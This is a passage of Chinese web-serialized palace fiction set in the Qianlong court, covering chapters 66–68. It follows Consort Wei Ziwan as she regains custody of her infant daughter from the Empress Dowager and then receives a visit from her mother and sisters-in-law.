便是看着书上的男女亲热图,她脸羞红一片,心如寒霜透骨冰冷,想必现在辉发那拉氏必然端端正正摆着她正室的作态,受着众人怜悯——即便她现在受尽后院奴才的恭维,可觉得她只是个妾,以妾的身份攀附三爷的人也不少。 妾受宠了,往往受人怜悯的是正室。 嬷嬷是实打实地跟她摊开来讲了实话,一个妾,何必端着身子。 可是原本该为妻的人是她,该为妾的人是辉发那拉氏才对,今后她的孩子还得尊辉发那拉氏一声嫡额娘。 说起来,辉发那拉氏真是好运道,哪怕辉发那拉氏一族一年不如一年,族中还是好运出了个娴妃,娴妃还怀孕了,等娴妃生下阿哥,即便辉发那拉氏在后院无宠,也是极得下人尊重的,还沾了个作为正室不以色事人的好名声。 她越是得宠,辉发那拉氏就越显正直。 可若是她为妻,现在传出的就不是以色事人的名声了,而是夫妻恩爱,琴瑟和鸣。 西林觉罗氏突然就不想安于现状了,凭什么原本属于她的身份被夺走,万岁爷还觉得是给西林觉罗氏的教训,要教训就直接教训她堂姐或是其他帮着她堂姐算计的族人,欺负一个弱女子算什么。 她心里恨啊,她和三爷本是堂堂正正的相互倾心,合该是天造地设的一对夫妻。 可是要怎么夺回属于她的东西,放眼整个皇室,绝没有扶妾为妻的事情发生,除非,三爷成为皇帝,方可堂堂正正让她成为皇后,以正室的身份寿终正寝。 西林觉罗氏心里不知为何生了一股妄想,又在警觉自己妄想后,一瞬间神色错愣。 三爷现在只是光头阿哥,皇后又不是没有嫡子,她怎么敢妄想皇后之位,可是这股妄想在她心里盘旋后,竟移不开半点地儿。 她心想,三爷也是皇子阿哥,大清从未出现嫡子继位,为何三爷就不能争?就凭皇后有了嫡子,慧妃有了龙凤胎吗? 将来的事谁说得准,三爷能文能武,脾性一等一的好,这样的人成为大清帝王,必然不会惹得江山动荡。 作为一个枕边人,西林觉罗氏清楚自己往后要做什么事了。 自己已为妾了,在后世史书中她始终为妾,可她不甘于此,那就得争,说动三爷争。 被族人轻看、被贬妻为妾,她已经没有什么输不起的了。 …… “特成额,过来让本宫看看。”魏紫菀朝一个白胖小孩招手。 小孩正儿八经请安,“特成额给贵妃娘娘请安。” “起来吧。”魏紫菀仔细打量了这小孩模样,唇红齿白,小脸白皙,小身板看着挺有力气的,又听说他阿玛额娘长得比寻常男女高,心里颇为满意。 等她这未来女 婿长大了,一定是个高大的英俊男子。 一照面,魏紫菀对未来女婿的身份已经十拿九稳了,除了这特成额,她实在想不出第二人。 “额娘!”小和静从正殿跑出来,小脸满是红润,她抱着额娘小腿,好奇地看着面前从未见过面的特成额,“你是谁?” 魏紫菀笑眯眯蹲下来,拍了下女儿脑袋,“他是你七哥的伴读,是自己人,你要是想找他玩也可以的。” 两孩子年纪这般小,打小当青梅竹马般处着不碍事。 “好啊。”和静好奇地上前戳了戳面前的小胖子。 特成额眼睛一眨不眨地看着她,这就是和静公主吗,长得好可爱啊。 他还傻愣愣地看着小公主,当和静上前戳他时,他才小脸通红,小小年纪就懂得孔雀开屏了,他努力收着小肚子。 “去玩吧。”魏紫菀笑道,和静这两天养在储秀宫,比以往更显活泼,她也算放心了。 只是和恪还太小,没法陪她玩,让这特成额过来,倒也合适。 魏紫菀提议让特成额进宫当伴读,一半是为了观察未来女婿,另一半则是给女儿寻个光明正大的玩伴。 “知道啦,额娘。”和静拉着他的小手往御花园跑去,“你还没说你叫什么名字,你叫我和静公主就好了。” 特成额脸红红道:“我叫特成额,和静公主,我们去哪里玩啊。” 小孩的声音越来越远,后面依稀只看到两点小小的背影。 魏紫菀站起身,目光深不可测,子衿扶着她进屋。 “和恪还在皇太后那儿,子衿,你说皇太后何时才心甘情愿承认和恪养在她膝下。” “娘娘,这事急不来,皇太后当年不曾抚养过固伦和敬公主。” “是啊,连中宫嫡女也不曾抚养,她愿意养着本宫女儿,是本宫的荣幸。” 说是荣幸,魏紫菀脸上却不见一丝喜色,她这几日一直睡不好。 和静年纪仅比和恪大一岁,和静都会在想起额娘时嚎啕大哭,她的小女儿一直留在寿康宫又将怎样,她不放心,裕贵太妃体谅做母亲的不易,即便没有和静哭闹,并不经常将和静留下来。 但皇太后的性子她不能笃定,这么多日都不曾让她见和恪一眼,和恪交给皇太后真的能让她放心吗? 她开始怀疑她最终会不会竹篮打水一场空,皇太后只是面上看重和恪,但当和恪要抚蒙时,皇太后绝不会多说半句话,只因这江山是皇太后儿子的江山,无论如何,皇太后都会站到她儿子这边。 她将和恪交给皇太后,连跟自己女儿相处的十来年时间都没了。 她当初怎么能做出这么狠心的决定,她的和恪才多大。 即便要谋留京,将和恪交给他人手中,是最不可信的一条路。 “去寿康宫吧。” 魏紫菀心想,无论如何,她都要见到她小女儿。 …… 寿康宫,“皇太后,令贵妃娘娘求见。” 皇太后正看着和恪睡颜微笑,一听这话神色有些不悦,“她过来做什么?” “大抵是太久没见和恪公主,想念和恪公主了。”兰佩难得为后宫妃子说话,不过这是实打实的实话,有哪个当娘的久久不见女儿不思念。 何况几天前和静公主就因太想念令贵妃哭闹不止,和恪公主这些日子也想过令贵妃,但每次都被皇太后哄过去了,若实在哄不过去,便喂奶再哄睡。 这个办法屡试不爽,不然以和恪公主更幼小的年纪,想起额娘来,肯定比和静公主哭闹得更厉害。 “她想和恪又不见她经常过来。”皇太后心情不算好,“让她进来吧。” 若是太久不让孩子生母见到孩子,也说不过去,只希望贵妃看过这趟后,别经常过来打扰她了。 兰佩不敢多言,立马下去将令贵妃带上来。 “妾身给娘娘请安。”魏紫菀压低声音,视线忍不住落在小床上。 看着她这样,皇太后心里越发不快了,“起来吧。” “是。”魏紫菀心神一紧,她能感觉到皇太后的情绪,对她的到来并不欢迎。 至于为何不欢迎,想想看她女儿就知道了,以上位者的性子,抱养了她的女儿,必然想让她女儿最看重皇玛嬷,并非亲生额娘—— 她早就做好心理准备了,想要得到什么就得付出什么,她只想确定一个答案,她的女儿能不能留京。 “太后娘娘,和恪在您这儿睡得真熟。”多日不见小女儿,魏紫菀眼神愈发柔和。 “和恪乖巧,哀家养了她这么久,寿康宫也是她住的地方,怎能不安安心心睡去。” 皇太后给和恪捻了捻被子,“贵妃啊,你都看到和恪睡去了,你来这一趟看过孩子了,也该放心了吧。” 皇太后在下达逐客令。 魏紫菀知道皇太后不愿她接近和恪,“太后娘娘,和恪能被您养着,这般荣幸之事,妾身怎能不放心,妾身只愿和恪能长长久久陪伴在您身边,就当给长辈尽孝心了。” 皇太后听到这话怎会不知令贵妃是发自真心实意的,令贵妃有此诚心,又并非过来跟她抢孩子,皇太后以肉眼可见的程度放松戒备,“哀家也愿如此,只是和静将来要留京,和恪就留不得了,但哀家能有和恪陪伴十来年,也算是一尽祖孙情了。” 果然如此,皇太后连争一争的心思都没有。 魏紫菀不知自己是怎么走出寿康宫的,这是她进宫以来头次赔了夫人又折兵吧。 她以为皇太后对和恪有了感情会想办法让和恪留下来,但她忽略了,和恪只是皇太后的孙女,在儿子的江山前,孙女算什么。 她的算计不成,她认了。 但是皇太后什么都不愿付出就想夺走她女儿,她不认。 她要不折手段将和恪要回来,至于皇太后怎么想的,与她何关。 第66章 第66章怒火 “妹妹!额娘,和静想妹妹了!” 皇帝过来时正看到和静耍小脾气,紫菀满脸无奈看着她,“和恪在你皇玛嬷那儿,你想见妹妹,明日再说吧。” “不要!就要现在。”和静气鼓鼓挥着小手。 她手里抓着两柄玉如意,一柄是她的,一柄是妹妹的,是额娘在她们抓周礼上送给她们的礼物。 但是和静现在拿着妹妹的玉如意却不见妹妹,才后知后觉已经好多天没有见到妹妹了,她好想妹妹! “这孩子怎么了?”乾隆轻声道,一手抱起六女儿,捏了下她鼓鼓的腮帮子。 “皇阿玛,和静想妹妹了。”和静气鼓鼓道。 “想妹妹了那就将妹妹带回来吧。”乾隆不觉得这是大事,正好他也好些日子没见到他小女儿了,“去将七公主带回来。” “是,万岁爷。” “万岁爷,可是和恪不是养在皇太后膝下吗?” 魏紫菀疑惑极了。 “朕何时说过和恪养在皇额娘身边了?皇额娘平日最喜静,这些年来都不见皇额娘主动抚养孙儿,想必这次也只是将和恪养一段日子,再过半个月,估计皇额娘又得进佛堂了。” “原来是这样,妾身还以为万岁爷打算让和恪一直养在寿康宫了。”她肉眼可见的速度欢喜起来,“和恪能孝顺皇太后是和恪的荣幸,妾身也乐意她让皇太后高兴,只是妾身是她额娘,总是忍不住会想她。” 她说着越发不好意思,一边是想孝顺长辈的心思,一边是想女儿的心情作祟,便使得她不甚坦率。 皇帝敲了敲她额头,“这回放心了吧。” 他知紫菀孝顺,也知紫菀舍不得孩子,所以不曾说过让和恪养在寿康宫的话,而且皇额娘对佛一心一意,又怎会多出别的心思抱养孙女。 “万岁爷,和恪公主过来了。” 小小孩童正睡醒,眼睛懵懂,一看到额娘就兴奋起来,“额、额娘!” “唉,额娘在。”魏紫菀眉眼弯弯,亲了一口孩子脖子,孩子痒得嘻嘻笑,和静见妹妹来了,伸出小手想抱妹妹,但妹妹有些沉,她有模有样叹道:“唉,妹妹吃胖了。” “说什么呢。”魏紫菀敲了敲她脑袋,“什么叫妹妹吃胖了,妹妹这是正常小孩的体态。” 魏紫菀瞟了一眼孩子脸上的婴儿肥,好似是胖了不少,小手肥嘟嘟的,看来皇太后是真的将和恪养得很好。 但这也可能是孩子正常发育,就是有点横向了。 “来,跟妹妹一起玩吧。” 魏紫菀将小女儿放到大女儿身边,就一会儿 功夫,两个小女孩便凑到一起窃窃私语了,也不知她们在商量什么,隐隐听到“特成额”“玩”“出去”等词。 看来前几日的玩伴特成额很让和静满意了,都介绍给自己妹妹了。 不枉费自己特地让永琮带着特成额这几天别回来了,让和静体会到没有玩伴的难受,再拿起妹妹的东西,自然而然就想起妹妹了。 她利用和静了,但若是没个正当理由,怎能光明正大将和恪要回来,在万岁爷心中,与皇太后相比,其他妻妾都不算什么,她不会高估自己在皇上心目中的地位。 “万岁爷,妾身好想你。” 皇上说话中听,魏紫菀不会浪费这个讨宠的好机会,也是为了掏空皇上心思,避免他想到皇太后膝下寂寞,一眨眼功夫又改变主意了。 “朕也想你。”对上爱妃格外坦诚的一面,乾隆挺受用的,一伸手便将人搂进怀里。 一颗心仿佛被填满了。 …… 寿康宫,皇太后辗转反侧,“怎么不见贵妃将和恪送回来。” “太后娘娘,夜已深,储秀宫早已落锁了。” “等明日一早,贵妃就该将和恪送回来了吧。” 皇太后叹了口气,身旁有个小娃娃的日子过久了,和恪一离开,她就觉得浑身不对劲,但愿明日贵妃早点将和恪送回来吧。 翌日一早,皇帝还未上朝,皇太后就赶着派人去将和恪接回走了。 储秀宫宫门正开呢,乾隆压低声音起床更衣,床上还睡着紫菀和和静和恪两个女儿,昨晚两个娃娃闹得厉害,险些不用入睡,央着皇阿玛和额娘玩游戏,紫菀宠孩子,陪两个孩子玩了许久,还是他做皇阿玛的扮黑脸才吓得两个孩子乖乖听话睡觉。 乾隆穿好衣后,望着熟睡的妃子,睡颜依旧可爱,一颗心软软麻麻的。 紫菀是宫里不曾改变过的人,即便心里有他和孩子,他总感觉,她不会轻易为周围人改变。 乾隆说不明白很多事,可是紫菀身处高位,又得圣眷,心里仍旧对更高的地位权势无动于衷,他不禁想到,各人所求不同。 若紫菀是攀附于他的宫妃,必然事事以他为先,求得他爱怜。 但紫菀会自己学习认字,学满蒙汉三语,学练字,学做生意,将储秀宫管得固若金汤,宫中妃子无一不信服主位,紫菀以他为先,却不仅仅以他为先。 皇帝一瞬间仿佛不认识他宠爱多年的女人,宫中妃子只分两类,一是事事以他为先,只求他恩宠,二是身居高位,奔着皇太后位置而去,但紫菀两个都不求。 她是有自己想法、为自己而活的人。 “万岁爷,兰嬷嬷求见。” 一道喊声突然将皇帝惊醒,他收回不自觉摸上去的手,一颗心莫名空落落,压低声音,“出去说。” 皇帝刚走出正殿,魏紫菀便睁开眼睛,朝绿萍看了一眼,绿萍会意,出现在正殿外,默不作声将一切声音收入耳中。 兰佩笑道:“万岁爷,太后娘娘实在想念和恪公主,奴才今早特地过来接和恪公主回去。” 乾隆颇为惊异,皇额娘何时对和恪这般上心了,只是昨晚他信誓旦旦跟紫菀说皇额娘不会养和恪,和恪还是储秀宫的公主,君子一言,驷马难追,总不能让他堂堂皇帝出尔反尔。 “和恪还在睡,你回去罢,朕会跟皇太后说的。” 乾隆还是觉得皇太后一时兴起,再过些日子得继续回小佛堂了,他跟皇额娘解释清楚,想来皇额娘不会强硬要和恪留下来。 若是皇额娘膝下寂寞,正好娴妃有孕,对五公主不甚上心,让五公主陪同皇额娘,也算是让皇额娘饴含抱孙了。 兰佩脸色不大好看,“万岁爷……” 她也没胆子劝万岁爷。 只是她想不通怎么一夜过去,属于寿康宫的和恪公主竟要不回来了。 她慌张回去禀告此事,皇太后脸色极其阴沉难看,“你退下吧。” “是,皇太后。” 兰佩退下。 皇太后失了小孙女陪伴,整个人显得有些焦虑不安,一个乖巧可爱善解人意的小孩让她体会到这辈子不曾体会到的孩子对她满身心的信赖,千金难得。 她只想和恪一直留在她身边。 再等等,等弘历下朝后,她便正式跟弘历谈起这事,就说让和恪养在她膝下,像是昨晚那样被贵妃抱回去的事不要再发生了。 和恪能养在她膝下是贵妃的荣幸,贵妃这般不识趣,就不怕阻挠了和恪的恩宠和前途吗? 可若不是已经确定了皇太后只想享受饴含抱孙的快乐又不愿付出任何心力,魏紫菀也不会将和恪要回去了,皇太后能给和恪的恩宠,她都是皇上宠妃了,她出现在皇帝眼皮子底下的日子更多,和恪何愁没有恩宠。 皇太后现在能给的,魏紫菀都不缺,而她缺的,皇太后又不愿意给。 既然和恪注定要抚蒙,她当额娘的何必将女儿白送出去,养在自己身边还能更放心点,皇太后只是想要一个自己能掌控的孙女,可她是要将女儿培养成文武双全的大清公主。 让和恪即便抚蒙,也能在异乡过得风生水起。 …… “皇额娘。”皇帝动作极快,早上的一个想法下朝后就落实了,他命人带来了五公主,五公主怯生生行礼,“孙女给皇玛嬷请安。” “弘历,你这是何意?” 皇太后瞥了眼瘦瘦小小的五公主,不将和恪带来,来到五公主做什么。 乾隆解释道:“皇额娘,儿子见您膝下寂寞,不如让五公主过来陪您,和恪年纪尚小,离不开额娘。” “魏氏跟你说的?”皇太后心里来了怒火,“和恪养在哀家膝下,魏氏竟敢跟你胡说八道。” 乾隆诧异,“皇额娘,并非贵妃跟儿子妄言,是儿子念着和恪年纪小。” 便是从前他也没说过将和恪养在皇额娘膝下,他只知道当初是皇额娘对后宫子嗣均不在意,他才将两个儿子交给裕贵太妃养着,后来有这层关系,紫菀便经常带两个女儿去找裕贵太妃。 皇额娘大概是看到裕贵太妃养着两个公主,一时间觉得膝下寂寞才将和恪留在身边。 他将和恪抱走,皇额娘便不会勾起这般心思,毕竟从前皇额娘就没想过抱养公主,和静和恪来来去去去了寿康宫那么多次,也不见皇额娘主动召见。 “你以为哀家不知是贵妃仗着恩宠刻意为之?”皇太后这下是彻底发怒了,和恪养在她身边好好的,贵妃意欲何为! 乾隆看向皇太后的神色不知何时变了,“那依皇额娘所言,这事该怎么处理?” “让和恪养在哀家膝下,将五公主送还回去吧。” 皇太后实在不愿意看到五公主,看了心烦。 和恪说话柔软,模样精致可爱,谁不喜欢这样的女娃娃,相比之下,五公主身上的糟心事 那么多,皇太后连看一眼都觉得心烦。 第67章 第67章娘家人 “恕儿子不能听从。”乾隆心平气和道,“和恪一直养在贵妃身边,离不得生母,先前和静闹着要额娘,和恪比和静小,只会更想念额娘。儿子担心和恪闹着皇额娘,换做吉佳陪着您,儿子能放心了。” 皇太后并非不知好歹之人,但皇帝一而再再而三拒绝她,她禁不住想起贵妃吹的枕头风竟影响至深,从前贵妃对她的尊敬只是在糊弄她的,一时半会愈发生气。 “弘历,哀家只想养和恪,和恪陪了哀家好几个月,你让哀家如何舍得和恪,贵妃舍不得孩子,可她还不是让和恪留在哀家身边好些时候了。” 即便贵妃说不舍得孩子,可这几个月都不见贵妃经常见孩子,皇太后只觉得自己理由充分。 乾隆心情更复杂了,紫菀不是不想孩子,而是为了孝顺皇额娘将对孩子的思念隐下,皇额娘怎能认定紫菀是舍得下孩子的狠心人。 他总算是反应过来了,皇额娘自作主张将和恪要到身边养,紫菀不舍得孩子却看在孩子能让皇额娘高兴的份上,忍着母女分离的难受,但皇额娘却将紫菀的付出当作理所当然。 “皇额娘不必多说了,和恪年纪小会吵到皇额娘,吉佳便留在您身边好好孝顺您。” 乾隆抛下这句话便起身离开了,不然他不知道要怎么跟皇额娘说,作为儿子得孝顺皇额娘,但是皇额娘不讲理时,便叫他说破口舌也没法让皇额娘明白过来。 “皇帝!”皇太后情绪越发凌乱,低头看着一脸胆怯看着她的五公主,眼不见心不烦,“将她带下去。” 皇太后始终没说出将五公主还回翊坤宫的话,皇帝亲自将五公主带过来,皇帝所言一言九鼎,她可以随着自己性子做事,但糟践了儿子脸面却是她不愿看到之事。 她的尊荣靠儿子获得,便是行走在这世间的每时每刻都会维护儿子作为帝王的说一不二。 但是贵妃怎敢将孩子要回去的,既然默认将和恪留在她身边,将孩子要回去,就不怕孩子不跟她亲了吗? 皇太后想不通,这些日子她也隐隐感觉到贵妃将孩子留在她身边是为了给孩子搏个前途。 别的不好说,和恪养在她身边,将来地位堪比固伦公主,贵妃还有什么不满意的。 好,既然贵妃舍得下孩子前途,那她这个做玛嬷的还能说什么,在旁人眼中,玛嬷总不如额娘亲,她倒是看看贵妃能将和恪养出个什么模样来。 …… “再过几日,你们郭罗玛嬷就能进宫见你们了,高不高兴?” “高兴!”和静举起小手,“郭罗玛嬷是什么?” “好吃的。”和恪小嘴口水哗哗流,魏紫菀拿她口水巾擦干净,“不是好吃的,是额娘的额娘。” “那她会带好吃的给和静吗?”和静小嘴叭叭,眼神殷切看着额娘。 受姐姐影响,和恪刚擦干净的小嘴又流口水了,“好吃的!” “那就得看和静和恪表现得有多好了。”魏紫菀拍了拍小女儿小脸,不敢捏,就怕一捏,口水又流了。 “好!和静会很乖的。” “和恪也、也是!” 两小孩都郑重其事许下承诺。 不过半日,承诺便抛到脑后,两姐妹在院子里嬉闹着,小和静总是出来玩,小胳膊挺有劲的,小和恪坐上婴儿车后,她使劲地推,还真让她推出一点距离了。 但没人真敢让她推,青柳在旁做配合,每当她想推妹妹时,青柳便用力一推,推到她想去的地方。 两姐妹便嘻嘻哈哈,对着墙上的小猫,树上的小鸟叽叽咕咕,有时候小猫会带着两只猫崽子穿过猫洞,在两姐妹面前转一圈,好似在炫耀自己的娃有多可爱,小和静伸出小手摸猫崽子,小猫大大方方任她摸。 不过和静也不白摸,摸过之后将荷包里的小鱼干拿出来。 “喵~”小猫优雅地叼起小鱼干,带着两只猫崽子从猫洞离开了。 “嘿嘿。”和静摸过猫后洗干净手又推着妹妹往宫外跑去了。 “别玩疯了,记得早点回来。” “知道了,额娘。” 看着现在就已经玩疯了的小孩,魏紫菀无奈摇摇头,怎么说呢,有青柳看着她们,她也算放心。 “对了,皇太后若是派人过来,便说和静出去玩了。” 有皇上那些话在,她可以笃定万岁爷是站在她这边的,只要皇太后不是要死要活将孙女要过去,她都有法子应付。 而且,皇太后身份何等贵重,怎会真为了一个孙女失了体面。 抢孩子这事说过去了就真过去了,但是她和皇太后关系好不了是必然的了。 她不后悔,她当初拿和恪来赌和恪能不能留京,本就冒着极大风险,她不可能只想得到不想失去,如今和恪顺利回到她身边,这付出的代价比她原想的还要小,只是跟皇太后闹不和已经很好了。 大不了往后她去寿康宫的次数多点,将各种礼节做到位,她不信皇太后能挑出刺。 “娘娘,夫人这次会带着两位少夫人进宫?” “兴许还有本宫的侄女,说起来,都这么多年了。” 魏紫菀回想起自己还在娘家时的场景,全家就三弟一个小孩,她是这一代最早生下孩子的小辈,等她生下孩子后,大嫂才怀上身孕,魏氏一族子嗣缘不深不浅,但总的来说,都有儿有女。 算算日子,大嫂生下大侄女也有些时候了,还有二嫂前不久刚生下小侄子,若非宫妃不能见外男,她好说歹说也得让二嫂带小侄子进宫让她看看。 “绿萍,你仔细备着。”“是,娘娘。” 魏紫菀打了个哈欠,关嬷嬷这些年也老了,子衿和绿萍开始接手关嬷嬷手中事,只是一个在外一个在内,青柳照从前管着小主子的事,各司其职,有条不紊。 只剩李祖德还没找出自己的继任者,她在宫里地位高了,自有些杂七杂八的人往储秀宫挤,她做不到火眼金睛明辨虚实,但严防死守不让底细不清之人进储秀宫还是能做到的。 她的心腹不可能一辈子不老,万岁爷注定寿命漫长,她不会一辈子不让储秀宫进‘外人’,但在她儿女长成之前,别有用心之人就不必多想了。 …… 魏紫菀这次能进宫的娘家人有额娘杨佳氏、大嫂宋氏、二嫂陈氏和小侄女。 一般而言,宫妃若想见到娘家人,得是娘家人主动朝宫里递牌子,经过允许后才能见到自己娘家人。 而且这娘家人还局限在二品以上的诰命夫人,通俗地来讲,便是这宫里,也只有皇后娘家人和高贵妃的额娘符合要求,是一品诰命夫人。 因此当皇帝格外放宽要求许令贵妃娘家人进宫时,不可避免的惹来众多人目光,妃位除了慧妃,哪个人不是心里发酸发涩,进宫十多年,没有哪个妃子不思念娘家人的。 尤其是自己在宫里年华逝去,宫外父母日渐衰老,日后生死两隔,有时想起便忍不住痛痛快快哭一场。 但因慧妃在还是贵妃时便每年都召见娘家人,轮到令贵妃,令贵妃虽然家世不显,但好歹是大选出身之人,皇上格外开恩便不是事儿——都是贵妃了,总不能还跟她们妃位一个样子吧。 这样一想,心里就好受多了,又见慧妃不似以往张扬,不在喊娘家人进宫,心里这口气便服服帖帖的了,同她们一样身处妃位,即便有能力见娘家人一面,也得看看自己身份够不够了。 魏府上,宫中刚派人传话,府上之人便手忙脚乱一阵动荡了。 杨佳氏极其惊喜,“我能见到我女儿了?!” 大嫂高高兴兴道:“多年没见小妹,正好让小妹见见她侄女,我看看小妹在宫里是瘦了还是胖了,皇子公主们长得有多高了,我也只听说小妹四个儿女身体都很好。” 反正她没听到四个外甥出过事,只要没出事,统一认定身体极好。 二嫂将儿子塞到丈夫怀里,“大嫂说得对,我得仔细打扮一下了,我再怎么说这些年不曾劳累过,身子都养回来了,可得让小妹见见我现在的样子。” 大嫂同样将孩子往丈夫怀里一塞,“弟妹,你跟我来,我好好给你打扮。” 在魏家还欠着国债之前,一家子尽心尽力还债,魏家的三个媳妇一天到晚做女工拿去卖,险些熬坏眼睛和身子,这就这几年才慢慢养回来,各自有了儿女。 两人来到梳妆台前,二嫂憋不住笑,“大嫂,你这么正经干什么,便是我再打扮,也不似小妹出落得亭亭玉立。” 大嫂摇摇头,“你怎么知道不行,小妹上次从宫里出来,我被她惊了好久,多美的人啊,小妹未张开之前跟张开之后是两个模样,若非骨相身段还是我熟悉的模样,我怕是认不出小妹了。” “当真如此?”二嫂却不信,她分明看 到大嫂和额娘对小妹丝毫不见外,她还以为小妹一开始就是这般美的。 “哪能不装着啊。”大嫂浅浅笑了,“小妹进宫多年本就不易,我们这些家人还跟她见外,岂不让她难受。” 况且小妹长得好看是件好事,就是她们经常会看晃眼。 大嫂小声说了件事,“小妹参加大选后,我偷偷看到额娘好多次趁着没人时看镜子,都看呆了。” “额娘怕是还对自己生出这般漂亮的闺女惊诧吧。”二嫂一针见血。 两妯娌欢快笑起来,一时间满屋子都是快活的气息。 第68章 第68章弟媳 两妯娌如此,杨佳氏更是闲不下来,跟丈夫商量好待会去首饰铺和成衣铺看看,魏清泰连连点头,多年不见女儿和外孙子,是得让妻子进宫好好看看,出来后跟他讲讲女儿在宫里生活怎么样。 当然,妻子进宫可得好好打扮,让女儿看了放心,他们夫妻虽是一把老骨头了,可仍精神的很,教子哄孙不在话下。 魏清泰顺势踢了小儿子一脚,魏德馨“嗷呜”一声捂着屁股,怒目而视,“爹!我都这么大了,你还踢我!” “踢的就是你,没个正经,你姐要见你娘和嫂嫂了,你不高兴?” “哪有不高兴。”魏德馨摸了摸鼻子,看到他姐他当然高兴,就是他整个人不大得劲,都是十来岁的哥儿了,到现在还闲在家里,大哥考科举考出个人模人样来了,二哥跟着爹做事。 他可以学着大哥或是二哥办事,但这两条路都不大适合自己,他想着自己一身力气,并且勤练武功,打算走武举这条路,但是他还没够年龄,还没混出个模样,姐姐就要见娘家人了。 要是额娘说起他,姐姐会不会觉得他太丢脸了,大哥二哥都有模有样,就他还没满十六岁没法参加武举,家里人还想着让他成家立业再考武举,但哪有这种道理啊。 他还想着考出个好成绩告知姐姐,让其他人正大光明看着,他们魏家是靠得住的,姐姐不是以色事人的妃子,她有家族有底气。 成亲什么的以后再说,说什么成家立业,他考虑的是先立业再成家,就不会带着妻子儿女赖在家里混吃等死。 魏清泰摇头,“既然高兴,还不快叫你两位嫂嫂出来,陪你额娘出去闲逛。” 将胭脂水粉、各色衣裳,首饰珠宝都配了新的,才好精精神神去宫里见娘娘。 早些年魏家节俭惯了,这些年也依旧节俭,就是出行时明面上过得去就行,也省了两家亲戚总过来打秋风,但这可是进宫见家人,必须得装备齐全。 好在他小儿子这些年什么药浴、吃食都紧着了,长成一副好身子,帮额娘嫂嫂们扛东西正正好。 “哦。”魏德馨见大哥二哥都忙着去叫人放鞭炮扬喜气了,他在爹这里确实无所事事,他再待下去,他爹估计又一脚,他赶紧溜了。 魏清泰摇摇头,“这小子。” 哪儿学来的浪荡样子,还是得紧着他婚事先,什么先立业再成家,就他这副心性,不成家哪来的立业心气。 …… 三日后,杨佳氏带上两个儿媳和小孙女上了前往皇宫的马车。 小孩子跟和静差不多年纪,坐在额娘怀里眨巴着眼睛,二嫂在旁考量她,“你记住进宫后要怎么给娘娘请安了吗?” 小侄女声音软糯糯,“兰芝给娘娘请安。” “这就对了,二嫂再教你几句吉祥话。” 二嫂一把将她抱过来放在腿上,“你还得说吉祥如意、万福金安,你先记住这两个,我再教你别的。” “好。” 小孩乖巧模样惹得二嫂心里欢喜,亲了又亲,“可恨我就一个小子,还没有女儿,大嫂,要是哪日你又有了孩子,就将兰芝送给我吧。” “胡说,我女儿怎么能送人。” 大嫂摇摇头,满眼宠溺,这可是她成亲多年求了千万遍佛才得来的孩子,谁来抢都不许。 马车车轮在路上吱嘎吱嘎地响,进了城门,到了景运门下马碑处,三人均下马车,大嫂抱着女儿,前来迎接她们的正是李祖德等人,“请随奴才过来。” 到了储秀宫外,一行人手心捏着一把汗,心潮澎湃,却也紧张兮兮。 魏紫菀在正殿也是心神不宁,大儿子二儿子一左一右立在她身边,如同门神一般,大女儿和二女儿待在储秀宫大门内,是储秀宫新任门童,见外边有声音传来了,和静赶紧推着妹妹小推车去找郭罗玛嬷了。 青柳帮忙将婴儿车扛出去,和静响亮的声音响起,“郭罗玛嬷!我是和静,她是和恪,是我的妹妹!” “哦哦哦,你是和静啊。”杨佳氏还在外做着心理建设,突然就看到她两个外孙女了,那叫一个措不及防,惊喜完全呈在脸上了。 她也顾不上给小公主请安,将扑过来的和静抱起来,“我是你郭罗玛嬷!和静真精神。” “还有妹妹!” “没忘没忘。”二嫂笑嘻嘻抱起小和恪,“和恪公主,我是你二舅母,这是你大舅母,可认得了?” 她边说边走,宫里规矩多,一直站在储秀宫外兴许被其他人看在眼里得说小妹了。 她们可不能给小妹添麻烦。 有两个女儿开路,魏紫菀跟娘家人说起话来格外熟稔,好似多年没见过面是不存在的事。 先来一番请安过过场面事,便开始各自认人了。 大嫂放下女儿,拉起两个阿哥仔细看着,身子修长,模样俊俏,是一等一的好男儿,“我是你们大舅母,她是二舅母,她是你们的郭罗玛嬷,这是你大舅舅和大舅母的女儿、你们的表妹兰芝。” 魏紫菀也拉着小外甥女兰芝仔细辨认,这孩子说话细声细气的,跟她四个孩子是截然不同的性子,她的孩子全都活泼,看起来最安静的永璐只是在外人面前安静,在自己人面前,永远是活泼的性子。 因此魏紫菀是真的挺稀罕这个小外甥女的,孩子活泼有活泼的好,但是见多了活泼的孩子,生性安静的孩子就格外招人喜欢,这大概就是距离产生美吧。 “贵妃娘娘。” “叫我姑姑吧。”魏紫菀捏了孩子小脸一把。 兰芝乖乖道:“姑姑。” “哎。” 这边杨佳氏轮流稀罕过两个外孙女后,就揪着两个外孙子仔仔细细打量了。 永琮还特地转了一圈让郭罗玛嬷看个够,“郭罗玛嬷,爷长得英俊吧。” “英俊!你和永璐是郭罗玛嬷见过的最英俊的皇子阿哥。” 杨佳氏不吝赞赏,满脸自豪,看得永璐有些害羞,也学着兄长模样在郭罗玛嬷面前转身让长辈看个够。 这可是他嫡亲的郭罗玛嬷,是额娘重视的亲人,他必然要让长辈高兴! 各自稀罕个 遍后,郭罗玛嬷恋恋不舍放开两外孙,大嫂二嫂两人也不舍地放下两个公主,小公主模样精致可爱,七阿哥俊俏非凡,容光焕发,三个孩子都随了小妹模样,长大后那得是颠倒众生的好容貌吧。 九阿哥虽然不是小妹亲生的孩子,但被小妹养了多年,也是仪表堂堂,大好男儿啊,一看就是她们魏家嫡亲的外孙。 “好了,额娘要给郭罗玛嬷说说话了,你们带兰芝下去玩吧。” “好。”永琮还在想带表妹玩什么,和静就拉着表姐的手出去了。 永璐赶紧跟上,和静做事鲁莽,没人看着真不放心。 “姐!姐!”和恪还留在婴儿车上着急地喊姐姐。 但和静有了新的玩伴,见异思迁,立马将妹妹抛到脑后了。 还是被弟弟妹妹共同忘记的永琮摸了摸她的头,“七哥带你过去吧。” “好。”小姑娘鼓起腮帮子,用力点头。 一到院子,还有个特成额站着,和静一左一右拉着特成额和表姐的手,永琮看着,莫名有种和静左拥右抱的感觉,他摇了摇头,将这种感觉挥走。 永璐提议道:“我推你们玩秋千吧。” “好!”和静嚷嚷着,“九哥,我们俩一起来。” “好。”兰芝小声点头,表哥表妹对她都好温柔啊。 永璐多看了她一眼,总感觉自己推的力气得小点了,感觉表妹跟他们储秀宫作风格格不入,万一他不小心摔疼了表妹,估计表妹会嗷嗷痛哭吧。 正殿,“额娘,大嫂二嫂,你们坐下,不必见外,这里没有别人。” 